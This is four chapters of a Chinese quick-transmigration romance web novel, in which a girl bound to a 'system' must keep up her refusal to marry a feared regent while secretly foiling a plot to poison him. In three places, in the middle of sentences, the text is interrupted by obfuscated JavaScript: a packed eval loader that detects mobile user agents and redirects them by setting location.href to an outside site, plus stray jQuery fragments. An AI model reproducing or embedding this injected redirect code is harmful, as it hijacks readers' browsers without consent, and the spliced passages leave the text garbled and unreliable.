《BE剧本总在跑偏(快穿)》
1. 第 1 章
“余柚!你是不是不想活了!”
是夜。
一道粗犷的声音如雷霆般在尚书府上空炸开,余尚书怒不可遏地盯着跪在身前的少女,胸口剧烈起伏,指着少女的手不停颤抖,满腔怒火无处发泄。
“那可是摄政王!当着皇家和文武百官的面,你耍什么脾气,你多大脸?还‘死都不嫁’,我看你是想拉着全家上下和你一起送死!”
余尚书脸色比锅底还要黑,看着少女梗着脖子一副死不悔改的模样,气得鼻孔都要冒烟了,干脆扭过头不再看她,拍板定下补救措施。
“明儿个就跟着我去摄政王府登门谢罪!”
少女高昂着头,仍死倔:“我不!”
铿锵有力的两个字传入耳内,余尚书只觉得自己胸中的怒火像火团般要炸开了,扬手想给这个不争气的女儿一巴掌,却实在狠不下心,最后猛地一拍桌子,震地茶杯发出“叮铃哐啷”的碰撞声。
“我管你乐不乐意,明天我就是绑也要把你绑去摄政王府给王爷赔罪!”说完甩手就走,再多待一会,他怕自己气晕过去。
瞧见余开畅走远的背影,余夫人赶忙上前将女儿扶起来,无奈地叹了口气,“柚儿你跟你爹倔什么,听娘的,明日听话去道个歉,这事就算过去了。”
“娘~”少女委屈地撒娇,可向来疼爱自己的娘亲却投来不赞同的眼神,她抿了抿唇,不情不愿道:“女儿知道了。”
【叮!阶段性播报:抗拒值稳定保持在80%以上,表现良好,请宿主再接再厉。】
脑子里响起一道冰冷的机械音,在余夫人看不见的角度,少女唇角微翘,眼底浮现一抹自得。
完美的开头!
这位死倔的少女,名叫余柚,是当朝礼部尚书独女,也是异世界一缕孤魂。
余柚意外身亡后,莫名其妙绑定了一个系统,系统自称是快穿管理局的员工,若她能够协助系统完成一定的任务,就能满足她的一个愿望,小至复活,大到以任何身份重来一世,都能实现。
余柚对以首富独女的身份重来一世挺感兴趣的,于是就愉快地答应了系统的合作邀请,穿进了第一个世界。
据系统所说,这整个世界都是由两句话演变而来的,然而,在快穿管理局的管辖之下,任何世界都应有完整的剧本,这种只有两句话的世界是完全不合格的,需要系统对其进行完善,因此,她的任务就是协助系统填补本世界空白的剧本。
而这个世界对应的两句话分别是:
开头:他,我都不嫁
结尾:别死,我嫁给你
余柚:好虐。
根据这两句话,系统会生成模拟演进的剧本,她需要按照剧本有节奏地推进剧情发展,并走向最终的结尾。
期间系统会不定时发布阶段性任务,以保证剧情按照合理的方向发展。
她的第一个任务就是:
【在宫宴上说出:“他,我死都不嫁”】
【任务对象:摄政王萧绝】
此外还有个长期任务:
【阶段目标:对摄政王的抗拒值保持80%以上。】
应当是为了贴合“他,我死都不嫁”的形象设立的。
摄政王萧绝,权倾朝野,现今朝堂的真正掌权者。
当今圣上年幼登基,先皇遗诏任命自己皇弟为摄政王,辅佐理政。但太后家族势力庞大,对朝廷权势虎视眈眈,加之小皇帝年纪尚轻,容易受人影响,在太后的教导下,对摄政王渐渐生出隔阂。两派势力明争暗斗,关系十分微妙。
摄政王手段强硬,行事果决,对待政敌从不手软。京城里流传着这样一句说法:“宁闯阎王殿,莫犯摄政王。”
传闻摄政王最好抽筋拔骨,享受将人活活折磨至死的过程,就连他的书房里也全都是人皮,据说皆是从得罪过他的人身上活生生剥下来的。
这些真真假假的传闻交织,让摄政王身上蒙上了一层血腥味的薄雾,他的名号说是能止小儿夜啼也不为过。
正是这样一个狠辣的人物,聚集了这个世界绝大气运,是世界保持运转的关键人物,也是余柚本世界的任务对象。
而这位摄政王也是引得余大人如此震怒,也异常惧怕的根本原因。
一个时辰前。
宫里今晚举行宫闱宴,明亮的灯光,歌姬们载歌载舞,衬得黑夜都不再静默。
此次宴会是圣上登基后第一次举办大型宫闱宴,京城的皇亲国戚、高官贵族尽数赴宴。酒过三巡之际,太后提及摄政王到了年龄,且尚未娶妻,合该考虑婚配之事。
京城中有关摄政王狠辣的说法传得沸沸扬扬,听闻太后此言,贵女们皆默不作声,既不得罪摄政王,却也不想嫁给这样一个手中满是鲜血的男人。
宴会一时之间陷入死一般的寂静。
就在此时,一道清亮的声音骤然响起。
“他?我死都不嫁。”
少女的嗓音带着娇软,但却掷地有声,如同一道惊雷划破黑夜,震得人心头发颤。大殿上的众人面面相觑,不由自主地循着声音望去,想看看胆敢说出此言的究竟是何等人物。
话音在大殿上消散得很快。
余尚书跪得也很快。
一反应过来爱女说了什么之后,余大人脸色大变,连滚带爬地拉着余柚在宴会之上跪下,连连磕头认错,求饶的声音都在颤抖,生怕太后或者摄政王发怒,一家人上上下下小命全都保不住。
余大人作为礼部尚书,在朝堂之上身居高位,却是中立派,一直在摄政王和太后之间周旋,未曾站队。余柚这一番不要命的说辞,两位贵人若是真追究起来,他们余家背后空无一人。
余大人提心吊胆地跪在大殿中央。
万幸的是,对此太后只是笑着说了句,“余小姐心直口快了些,余大人不必如此惊慌,哀家亦不会怪罪。”
不幸的是,摄政王全程面无表情,只淡淡地垂眸独酌,没扔给余家任何一个眼神,让人摸不清他心底到底作何感想。
余大人就这样胆战心惊直到宴席结束,而此时也已快到宵禁时分,余大人来不及拉着闯祸的女儿上前赔罪,只得先行
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17092517|195493||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
回府,这才有了方才怒火中烧的一幕。
他不明白平日乖巧的女儿怎会做出如此出格的行为。但他明白,若明日一早他不带着余柚登门谢罪,后日摄政王府军就能把他的礼部尚书府给围了。
*
翌日。
摄政王府。
余大人带着妻女一大早便带上赔礼,搭着马车轱辘轱辘前往摄政王府,声势浩大,赔罪的姿态摆得十成十。
王府门前站着四个带刀侍卫,瞧见是尚书府的马车,心生好奇,目光齐刷刷地盯向刚下马车的余大人,本就担惊受怕一晚的余大人心头一颤,差点从马车蹬上摔下去,生怕王爷已吩咐过不再见他。
所幸侍卫们似乎还未曾听闻昨晚宫宴上的事,见来者是尚书大人,还以为是有朝堂要事找王爷商讨,恭敬地抱拳行礼后,吩咐小厮去里面通传。
不多时,传话的小厮便出来了,朝余大人行了一礼,“诸位请随我来。”
摄政王府是近几年在原王府上新装修的,府邸宽阔且精致,亭台楼阁错落有致,装饰看起来较为简雅,反倒是不落俗套,显得低调庄严。
府里静静的,走动的仆人目光紧盯脚下,各自分工明确,不做任何多余的动作,显得四处张望的余府一行人格外突兀。
小厮将几人引至一座偏殿,倒上茶水,“余大人,我家王爷在书房商谈要事,还请您在此处稍等,待王爷空下来了自会宣见大人。”
言毕,他便退下了,留余府几位在殿内面面相觑,余大人剧烈的心跳渐缓,见女儿像个没事人一样,淡定地坐下开始饮茶,他气不打一处来,但比起怒火他更多的还是担忧。
“柚儿啊,一会见了王爷,就别再倔了行吗?爹知道王爷有一些不好的传闻,你不愿嫁爹也可以理解,但是这种事你何必当着众人的面说呢?这不仅会害了自己,也会害了爱你的爹娘,平时任性爹也就宠着你了,但这要是惹怒了摄政王,爹也护不住你啊!听话,一会乖乖道歉,诚恳些,行吗?”余大人絮絮叨叨,说着说着眼里隐隐就有了泪光。
说到底是自己宠大的女儿,哪怕是闯了祸,做爹的也得努力护着。
见余大人这样,余柚乖乖坐着,垂下眼眸默不作声,一副在自我反省的模样。
心里默默道歉。
对不起啊爹,她有抗拒值80%以上的任务在身,绝无可能诚恳道歉,一会怕是要让您失望。
偏殿的气氛一时间陷入一片低迷,众人都沉浸在悲伤当中,仿佛等待的不是摄政王宣见,而是死亡宣判。
叮——
余柚精神一震,一道急促的告警声骤然响起。
系统冰冷的声音竟透着些着急。
【紧急任务:摄政王将在一个时辰后中毒身亡,死因是误食被下毒的文思豆腐,请宿主在不暴露自身的情况下化解危机!】
【任务限时:两小时】
【注意!若紧急任务失败,任务对象死亡,则本世界将崩塌,所以任务自动失败,请宿主引起重视!】
余柚:?
什么情况?
2. 第 2 章
摄政王府后院。
余柚跟在指引婢女的身后,朝着回偏殿的方向慢步走着。
突然,她抬手摸了摸发间,焦急地拉住婢女,神色慌张,“糟了!我的发钗好像掉了,一定是落在方才的地方了!我回去找找,你在这等我,我找到了立刻就回来,你等我!”
说罢不等婢女给出反应,转身就离开,步履匆匆,还不时四处张望寻找,仿佛真的掉了很贵重的发钗,焦急的背影渐渐走远。
一离开婢女的视线,余柚一个急转,脚下便换了方向,用意念打开系统提供的王府地图,朝着王府后厨疾步而去。
刚刚她收到系统的紧急任务,响个不停的警报声,再加之任务失败的严重后果,余柚立刻打起了十分的精神,没有丝毫犹豫,寻找单独行动的机会。
起身。
出门。
看向候在厢房门口的婢女,正色道:“我想出恭。”
于是有了方才那一幕。
现在余柚迅速奔着地图上的后厨快步前进,紧急任务的倒计时就在她眼前不断闪烁,带动着她的心脏也“砰砰砰”跳个没完。
余柚暗骂:这摄政王,不是权倾朝野吗?不是心狠手辣吗?怎么跟个软面馒头似的,在自己家里就能被人下毒暗杀……
渐渐靠近后厨,余柚步伐慢下来,远远看见厨师和打下手的小厮们聚在一块,热火朝天地准备今日王府的午膳,在后厨门口都能闻到阵阵饭菜的香气。
余柚用廊柱掩住身子,只小心翼翼地探出一颗脑袋,目光紧盯烹制菜品的厨师们,脑子高速运转。
该怎么阻止摄政王吃下带毒的菜品呢?
进去装作误食?
还是装高人递个纸条说菜里有毒?
余柚脑里想出一个又一个方案,却又被自己无情舍弃。
不行!
不能暴露自己!也要永绝后患,不能出现意外!
这要是一顶救命之恩的帽子扣下来,她的抗拒人设可就彻底崩了。
她可担不起。
“喵——”
一声尖细的猫叫兀得自头顶传来。
余柚顺着声音看去,瞧见一只毛色乌黑发亮的猫咪,慵懒地蜷缩在门廊的檐上,蓝宝石一样晶莹剔透的眼睛锁定檐下这位异客,似是有些警惕,不自觉地摇动尾巴。
见余柚抬头,它眯着眼又低低叫了一声,旋即像是被打扰了一样,起身沿着屋檐离开,步伐轻盈,留给余柚一个优雅的背影。
盯着猫咪的背影,余柚眼前一亮,思绪前所未有的明朗,她好像知道该怎么办了。
“系统,打开系统商城。”
每完成一个任务,余柚就会得到一定的奖励积分,能从系统商城中兑换各色物品,应有尽有。但目前她只完成了第一个阶段任务,积分少得可怜,能换的物品也较为有限。
余柚的视线从可购买的物品中一样样扫过,直到看到一样只需10积分即可兑换的物品,目光定住,嘴角上扬。
找到了。
想好解决方案,余柚迈步靠近后厨大门后,一只手扶住门框,整理神色,拿出十二分的演技。
她怯生生地发问:“你好,打扰一下,我今日随父亲来府里做客,尚未食早点,肚子有些发疼,可以要一份糕点填填肚子吗?”
说罢像是怕自己被拒绝,赶忙补了一句,“我可以给你们银子的!”
在后厨忙活的众人,闻声抬头,瞧见一个十六七岁的姑娘站在门口,穿着华贵应是哪位大人家的小姐,小姑娘水灵灵的,样貌出色,像刚出水的芙蓉,但似乎有些怕生,眼睫扑闪着不敢和众人对视,此刻一只手虚虚捂着腹部,脸色发白,看着乖极了。
后厨管事的嬷嬷的女儿也正是这般年龄,见余柚虚弱的模样,母爱在心口冒泡,当即将她接了进来,声音放柔:“既是王府的客人,那便合该好生招待,小姐稍等,新的糕点马上就好了,吃点热乎的对身体好。”
余柚跟着嬷嬷走进后厨,顺势在角落的座位坐下,两只手在腹部前交叠,眉头紧蹙,似是更不舒服了,见状嬷嬷急了,立刻为她去取糕点。
见嬷嬷转身后,余柚仍是那副疼痛难耐的表情,目光却环视四周,发现不远处有一盘刚出锅的莲子羹,且周围暂时无人照看。
就它了。
她心底冷静地和系统对话,“系统,兑换,直接放那碗莲子羹里。”
【叮!请宿主再靠近目标一些】
余柚果断撑起身子,佯装身体不适般靠着案台往前走,离莲子羹近了些。
【叮!兑换成功】
听见兑换成功的音效在脑海里想起,余柚吊着的心瞬间落回原地,深深松了口气,嘴角不自觉绽开一抹笑意,“系统,你就等着任务成功吧!”语气自得,颇有些臭屁的架势。
“小姐,你怎么站起来了,糕点来了,你快吃点垫垫肚子,别饿坏了身体。”嬷嬷关切的声音自身后传来。
自得的笑容一收,余柚转身感激地看向嬷嬷,乖巧接过递来的糕点,解释说自己坐了会没那么难受了,又说自己出来太久,怕再不回去爹爹要着急,再次表达感谢后,就带着糕点离开了。
余柚离开后没过多久,后厨突然响起一声尖锐的尖叫,随后是一阵此起彼伏的惊呼,慌乱的脚步声四起,本井然有序的后厨陷入一片混乱。
*
待余柚回到先前和婢女分开的地点,婢女已急得在原地来回走动,时不时抬头张望,脸上写满犹豫和纠结,见余柚终于回来,她松了口气,“小姐找了好久,奴婢都要急坏了!”
余柚抱歉一笑,安分地跟着婢女回到了偏殿,见到爹娘二人含着担忧的眼神,解释说出了点小意外,耽搁了点时间。
没过多久,摄政王终于谈完了正事,宣余家三人书房见。
站在书房门前,余大人深呼吸平复心情,最后给余柚使了个安分点的眼神,一咬牙推开了房门。
见摄政王懒散地坐在主座上,他一个大跨步就丝滑地跪在这位权势滔天的王爷身前,身后的母女二人还没看清王爷的脸,紧跟在余大人身后跪下。
余大人悲痛的声音响彻书房,“王爷!小女昨夜宴会上口出狂言,得罪了您,下官昨晚已狠狠责罚了她,她也深刻认识到了自己的错误,还请王爷看在小女年龄尚小的份上,宽宏大量不与她计较!”
“恳请王爷宽宏大量!”余大人深深一拜,嗓音大得仿佛想让老天都知道他的恳求。
说完他跪着的左脚往后伸了伸,碰到余柚的膝盖,大拜磕头的间隙还朝余柚使了个眼色,让她赶紧趁机道歉。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17092518|195493||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
余柚见她爹这副模样,终是软了态度,尽量维持抗拒人设,不情不愿地服软,“对不起啊王爷,我知道错了,还请您原谅我。”
说完,余柚感觉这个剧情她好像见过,像古早文里在霸总面前上蹿下跳的仇富小白花女主。
虽说系统说剧本演进表明,摄政王此刻不会杀她,但此情此景,余柚心里还是有些没底,她想起了那些京城传闻。
摄政王万一真把她弄死怎么办?
心头惧怕渐生,余柚试探着抬头向主座上的男人看去,想知道此刻他的表情是什么,只见男人一袭黑袍,乌发披肩,冷峻的面庞仍然是淡淡的,对上余柚的眼神,他眼里毫无情绪,仅仅对视一秒便移开了视线。
余柚暗自纳闷,这人好像并不在意她的冒犯?
正如余柚所想,萧绝是真不在意余柚的态度,见乖软的少女不情不愿地说软话,浓翘的睫毛一眨一眨,眼底也全是不服气,尊贵的摄政王漫不经心地想:
他在京城的形象已经是这般了吗?
京城关于他的传闻他也知道一些,只不过一直不在意,大概了解应该不是什么好形象,但没想到竟这般惹人厌恶么?
这女子看着挺乖的,居然能说出死都不嫁这样的狠话。
萧绝第一次觉得他也许应该澄清一些谣言。
想完这些有的没的,萧绝将视线移回礼部尚书余大人身上,余开畅,六部尚书中唯一一个中立派,对他和太后的争斗从未表过态,这次余尚书独女的言论难免引起朝堂的风波。他指关节敲了敲桌面:
“余大人在朝堂当了多少年的官了?”
余大人不明所以,小心翼翼地应答,“将近十五年了。”
萧绝端起茶杯抿了口茶,淡淡道:“官当得久了,想图个安稳本王能理解,但若是求安稳就一直求下去便好,余小姐昨日那番话本王不在乎,怕就怕,有人以为余小姐的态度代表着余大人对本王的态度,余大人能懂吗?”
不咸不淡的点拨,不怒而威。
余开畅后背的冷汗“噌”地一下就冒出来了,想到太后和摄政王水火不容的关系,连忙直起身子,迎着摄政王深黑的眸色发誓。
“王爷明鉴!小女昨日的话和下官对王爷的态度毫无关系,下官心里只有黎民百姓,只想做个爱民护民的好官,尽全力为圣上为王爷分忧,只求安安稳稳!绝无他想啊!”
越说到后面他的嗓音越大,生怕小声一点摄政王就听不见他的恳切陈辞了。
苍天可鉴!他只想当个中立派,绝无站队太后的想法啊!
被这声过于洪亮的嗓音震得一颤,摄政王有些无语地揉了揉太阳穴,他感觉耳膜都隐隐在震动,这余大人可真是老当益壮,嗓门大得可以。
该说的话都说完了,余大人也一副恨不得把心掏出来证明自己的模样,此次见面的目的也就达成了。
摄政王摆摆手,刚想摒退几人,随身服侍的汪公公自外边进来,步子迈得有些急,匆匆忙忙附在他耳边说了几句话,引得众人目光似有若无地看过来。
听完汪公公的话,摄政王的眼神定定落在乖乖跪着的少女身上,带着探究意味,语气意味深长。
“余大人,府上出了点事情,事关本王性命,可能需要诸位在府上做客几日了。”
3. 第 3 章
摄政王说得轻松,余大人却被他话里的内容吓得腿都软了,刚直起的身子又弯了下去,恨不得紧贴地面。
“王爷,此话是何意?下官绝无任何加害王爷的心思啊!王爷——”
见余大人又要开始音量攻击,摄政王眉头一皱,“别喊冤了,大人若是无辜,待本王查清真相,自能安然无恙回府。”
“但若是……”他语气一顿,俯视眼前垂首的三人,眸色沉沉,“查出此事与诸位有关,本王的手段余大人心里应当清楚。”
若此时余柚抬头,就能直直撞上摄政王黑沉沉的眸子,但她此刻心虚的情绪不断在冒泡,拼命回忆自己的行为是否过于可疑。
早在汪公公走进书房时,系统便宣告紧急任务已完成,本以为今日之行自此能够圆满结束,但没想到摄政王居然要让她们留下,直至查出真相,这是对她们起疑心了。
后厨的人今日都见过她了,这个瞒不住,也没什么好瞒的,她不怕被问为何会去后厨。但,她怕没人发现那碗文思豆腐有毒……
要是摄政王不去找真正的下毒手,反倒怀疑她往莲子羹里投毒……
余柚被自己的联想吓得一颤。
应该不会吧。
苍天可鉴,她只是让系统丢了只死老鼠进去,一只被老鼠药毒死的死老鼠而已!
摄政王可一定要全面检查所有菜品啊!
怀着忐忑的心情,余柚被安排进了王府后院的一间厢房里,和爹娘的住处隔得也不远。虽说实质上几人算是被变相软禁了,但王府财大气粗,经过余柚的简单观察,这处临时住所比她在尚书府的闺房还要大。
住进了大房子,余柚心态好,她已经想好了,摄政王不动她不动,兵来将挡水来土掩。
凭借良好的心态,余柚忐忑的心情渐渐散去,随后席卷而来的是浓烈的困意,眉间染上丝丝疲倦。
今日一大早就被亲爹叫醒绑来王府,本就没睡够,突发的紧急任务又让她精神紧绷,这会好不容易放松下来,瞌睡铺天盖地袭来,余柚缓缓合上眼皮陷入沉睡。
天色渐暗。
余柚午间睡了好一会,这会毫无睡意,仔细逛了一圈厢房,发现在角落的柜子里有几块楠木和木雕工具,应是许久未使用,表面积了一层浅浅的灰。
她取出来擦了擦,发现楠木材质还算不错,不免有些手痒,打了点水将工具洗净,坐下开始雕刻这块蒙尘的楠木。
木雕是余柚生前为数不多的爱好,她常静不下心,但偶然一次尝试木雕,过程中她有着前所未有的耐心,余柚喜欢这种沉浸的感受,时不时就会雕一个小玩意。
厢房内安静下来,只剩刀具划过木料的“沙沙”声,削落的木料自空中缓缓飘落,凌乱地四散在余柚的脚边。
“咚咚——”
沉闷的叩门声在安静的室内响起,余柚从专注的状态中抽离出来,脖子长时间低头有些酸,简单活动了一下,她以为是爹娘来寻她,没做他想迈步去开门,抬手揉了揉疲惫的双眼。
眼前的房门打开,摄政王就瞧见小姑娘迷蒙地揉着眼睛,眼里还蒙着一层雾,有些呆呆的,可能是骤然闻到室外的冷空气,她鼻头微皱,刚揉完眼睛的手不自主地又揉了揉鼻子。
好乖。
本来冰冷的语气不自觉放缓,“余小姐,本王有些话要问你。”
然而,眼前的少女却骤然神情大变,像炸毛的猫咪,警惕地看向他,摆出十足抗拒的姿态。
“我没有什么想和王爷说的。”
少有的善意并没有被接受,摄政王扬了扬眉,无视余柚抵触的目光,旁若无人地走进房间坐下,桌上散乱地放着一些木雕工具,一个半成品木雕被放在桌边,木屑散在四周,显得有些凌乱。
见此,摄政王狭长的眼底浮现些许怔愣。半成品木雕还未完工,但已能依稀看出来小猫的雏形,是蜷缩成一团安然入睡的姿态,他觉得有些眼熟,总觉得在哪见过这只慵懒的猫咪。
审问的话在嘴里绕了一圈,最后只是吐出一句:“余小姐会木雕?”
余柚对摄政王的问题置之不理,带着气紧跟在身后,义正言辞地发出抨击:“擅闯女子闺房,即便是王爷此举也甚是不妥吧?”
“这是本王的府邸,本王去哪都妥当,余小姐多虑了。”不痛不痒地应付回去,摄政王拿起桌上的小猫木雕,眼眸微垂,修长的手指轻轻摩挲仍带着木刺的轮廓。
“余小姐还没回答本王的问题,你会木雕?”
“一点。”
“那教本王。”
“我刚才说错了,不会。”余柚方才的质问一拳打在了棉花上,有气憋在心里没处发,这会的抗拒倒是有几分真情实感了。
被余柚的无赖模样逗笑了,摄政王唇角微扬,语气带着笑,“坊间关于本王的传闻不知余小姐知道多少?”
心狠手辣,滥杀无辜,手段残忍。
心里默默总结百姓对这位摄政王的评价,余柚心生警惕,“王爷这是何意?”
“意思是本王今日心情不好,若余小姐惹本王生气了,这后果是什么本王也拿不准。”
威胁!
赤裸裸的威胁!
摄政王的威名如雷贯耳,她不怕死,但她怕疼,抽筋扒皮打板子,她一样也不想体验,余柚不再犯倔,老老实实道:“会一点。”
见此,摄政王笑意加深,拿着木雕起身向外走去,留给余柚一道清贵的背影和一声命令,“随本王来。”
在原地犹豫了三秒,最终余柚还是咬着后槽牙跟了上去。
这任务对象发什么疯。
白天在她爹面前还一副什么都不放在眼里的模样,现在又在这威胁她。
一路跟着摄政王走到王府书房,余柚额角沁出一层汗,摄政王人高腿长的,步伐丝毫放慢的迹象都没有,她本就慢了几步,全程快步才能跟紧这人。
心底难免滋生几分怨气。
摄政王取来一个木盒放在桌面,缓缓打开,里面赫然是木雕工具和一些上好的木料,比余柚在厢房内发现的那些要优质好几个档次,不过倒是一样的陈旧,也积了层灰。
余柚狐疑的目光放在摄政王身上,她本以为今晚他定是来审问她的,她这一路都想好各种说辞了,但从见面到现在,摄政王张口闭口又全是木雕,现在还拿出一盒木雕工具来,不会真要和她探讨木雕吧?
她有些摸不着头脑。
摄政王把小猫木雕还给余柚,说了句:“一会遇到问题了你教一下本王。”说完就自顾自地开始擦拭工具,不再多给余柚任何一个眼神。
余柚:……
我以为你要严刑拷打,你却让我当你老师?
默默看着尊贵的摄政王擦完所有工具,又让下人拿了根香蕉放在桌面上,就拿起木料开始生疏地雕刻,有几下动作余柚都怀疑他能把自己的手划伤。
看了半晌,余柚觉得有些无聊了,反正这人也没和她说话,她也就拿起工具继续雕她的小猫了,上好的工具不用白不用。
一时之间书房内只剩安静的“沙沙”声。
摄政王安静地切割木料,俊美白皙的面容透着认真,嘴角染笑,卷翘的长睫下是眼底藏不住的怀念之色。
他生母是一位身份低微的婢女,生下他后没过几年便去世了,由贵妃娘娘养大,自小对他要求严格,唯一目标就是胜过太子,除了读书习武学习帝王之术,贵妃觉得学习别的都是在浪费他的时间。
有一次父皇带皇子们微服私访,他瞧见了街上许多的新奇玩意,有一位木雕匠人还为他们几位皇子都雕了一个小木头人,活灵活现的,可爱极了。
萧绝
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17092519|195493||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
非常喜欢,当场就让宫人买下了工具和木料,他也想尝试,但一回宫,迎接他的就是贵妃的怒火,不仅把工具和木料全丢了,禁止他以后做木雕,还把他宝贝珍藏的木雕小人烧了。
贵妃说这是不务正业。
幼年的自己被随侍制住,按在长椅上,木杖一次次落下,痛苦的闷哼声被他控制在喉咙中,他眼睁睁看着木头人被火焰吞噬,仿佛是自己被贵妃的欲念整个吞噬了。
他一直知道贵妃的野心,也知道他的生母是贵妃所害,但他寄人篱下,亦不想坐上皇位,只能忍辱负重,精心谋划。
后来太子登基,贵妃被赐毒酒,他得封了个王爷,在府里也想过捡回这个爱好,但太子平庸,时常唤他帮忙辅佐政务,买回来的木雕工具也就搁置了,请的木雕工匠也住了没几天就回家了。
后太子薨逝,幼子即位,为免外戚干政,他比先前还忙,更没时间也没有悠闲的心态去干这些。
乍一看到余柚的木雕,幼时活灵活现的小木头人仿佛就在眼前,回忆勾得他心痒,于是就有了现在这一幕。
雕小木头人太难了,他先从香蕉开始。
凭借着儿时对那木雕匠人的记忆开始雕刻,摄政王却发现事实和他的想象差别很大。
他直接上手雕刻木料,根本拿捏不准力道和角度,若不是他反应极快,好几下那刻刀能直接刻进他的肉里。
摄政王抿紧嘴唇,重重放下刻刀,不甘地看向他请来的“老师”,只见少女低垂着眉眼在认真雕刻,白皙的指尖上是越来越灵动的猫儿,一副慵懒又矜贵的姿态。
他轻咳一声,“余小姐,这个香蕉接下来要怎么雕?”说着把自己的作品往余柚那边推了推。
余柚闻声抬头,视线刚移开自己手中的小猫,就看见对面推过来的一根奇形怪状的短木棍,表面还能看见许多坑坑洼洼、深浅不一的刻痕。
这是香蕉?
视线在桌面上的香蕉和这根短木棍之间游移,最终余柚复杂的眼神落在对面的王爷身上。
她的抗拒人设不能倒,是不可能答应教他的,无视来自摄政王求知若渴的眼神,余柚冷静地把“短木棍”推回去,从盒子中新取了一块小木料出来。
拿画笔在木料上简单勾勒出香蕉的轮廓,接着割大型、修整大型、细节雕刻,最后拿砂纸打磨一下表面,只花费了一个时辰不到,一根香蕉就这么一步步呈现在余柚手中。
余柚满意地打量手中的香蕉,和桌面上的香蕉放一块对比了一下,形状简直一模一样,她得意扬眉,把木雕香蕉丢给摄政王,又把先前的“短木棍”也丢过去,仍不忘表现一下抗拒厌恶,“教你?不可能,王爷这水平当我学生我怕丢人。”
说完余柚打开任务面板检查了一下抗拒值,稳稳维持在80%以上,浅浅松了口气。
心里却有点犯怂,她都把雕刻全程展示一遍了,也算教了吧,只多不少,任务对象可不能生气对她用刑啊!
摄政王入迷地看完了余柚雕刻香蕉的全过程,此刻看着手中细节满满的香蕉木雕和自己一个时辰前的作品,垂下眼眸,默默把短木棍放回工具盒里。
好丑。
眼不见心不烦。
耳边传来少女的话却也格外烦人,尊贵的摄政王眉头微蹙,难得产生几丝被嘲笑的羞恼,想赶紧结束这个话题,他这才想起他找余柚的真正目的,从袖口取出一枚香囊放在满桌的木屑之中。
嫩粉色的香囊微鼓,是京城里常见的款式,唯一比较独特的地方大抵是这个香囊上绣着一个小小的“柚”字,小巧精致。
摄政王兴味抬眸,不出意外地看见余柚脸上得意的笑容逐渐消失,染上几分慌乱,少女的手指下意识地往腰间一摸,空空如也。
“余小姐解释一下吧,今日去王府后厨都做了什么。”
4. 第 4 章 她好像在撒气?
余柚乍一看见香囊是慌了一瞬,但随即反应过来,她去过后厨本就瞒不住,香囊落下也只不过是多一个证据。
她深呼吸一口气,绷着脸冷冷看回去,“今早饿了,去后厨要份糕点,怎么?王爷的肚量小到一份糕点都要讨回去吗?”
话里带着刺,像亮出爪子的小狸猫,羞恼彻底消散,摄政王轻笑道:“这倒不是,只是余小姐真的只要了份糕点吗?”
“我——”
余柚解释的话还未说完,就对上了摄政王漆黑的眼眸,眼底缀着寒冰,“本王现在心情好点了,希望余小姐不要说些谎话惹本王生气。”
威胁!
又是威胁!
脑里不断冒出抽筋扒皮打板子的画面,余柚咬牙,把构思好的胡话吞回去,干脆破罐破摔说实话了,“我还往莲子羹里丢了只死老鼠。”
这下倒是让摄政王愣住了,他没想到余柚会直接承认。
“哪来的死老鼠?”
“捡的。”
“……好,捡到的时候就是死的?”
“不然呢?”
“为何要丢莲子羹里?”
问到这个问题,余柚脑海中一下就跳出来了一个答案,她扬了扬眉,眼神上下扫视眼前的人,眼底是显而易见的不喜,“你说呢?”
吐字清晰传入摄政王耳内,他脸一黑,听懂了余柚的言外之意,但这一番话倒是打消了几分他心底的怀疑,若是少女气性给厌恶之人的饭菜里丢死老鼠,也算说得过去。
但,他有这么惹人厌吗?
摄政王在心底再次开始思考这个问题。
余柚此刻也在思考问题,她不确定摄政王有没有发现文思豆腐中被下了毒,若是没发现,这事不仅彻底甩她身上了,背后真凶还逃之夭夭,说不定下次再下毒她还得来救……
室内陷入一片寂静,余柚沉思良久,还是决定略微提点一下摄政王,“总之,要是有人要害你,肯定不是我,老鼠进莲子羹之前就死了,不信王爷可以去查,但……”
“别的菜品是否有毒我就不知道了,本小姐善良只是开开玩笑,谁知道会不会有人心思险恶真去下毒,咦,真可怕!”
结束一番尴尬的戏精表演,余柚不等摄政王做出反应,拿上她的香囊和猫咪木雕转身便离开了,不给摄政王再多审问几句的机会。
摄政王望着少女离开书房,最后那番话将他心底本已打消的嫌疑又勾了出来。
他知道今日那道文思豆腐里下了毒,因为这是他安排的,但这位余小姐很明显也知道些什么,甚至像在提点他?
他修长的手指轻扣桌面,语气冷静,“去查一下她,看看她背后是何人。”
安静的书房内明明只剩摄政王一人,却响起另一道毫无感情的声音。
“是。”
*
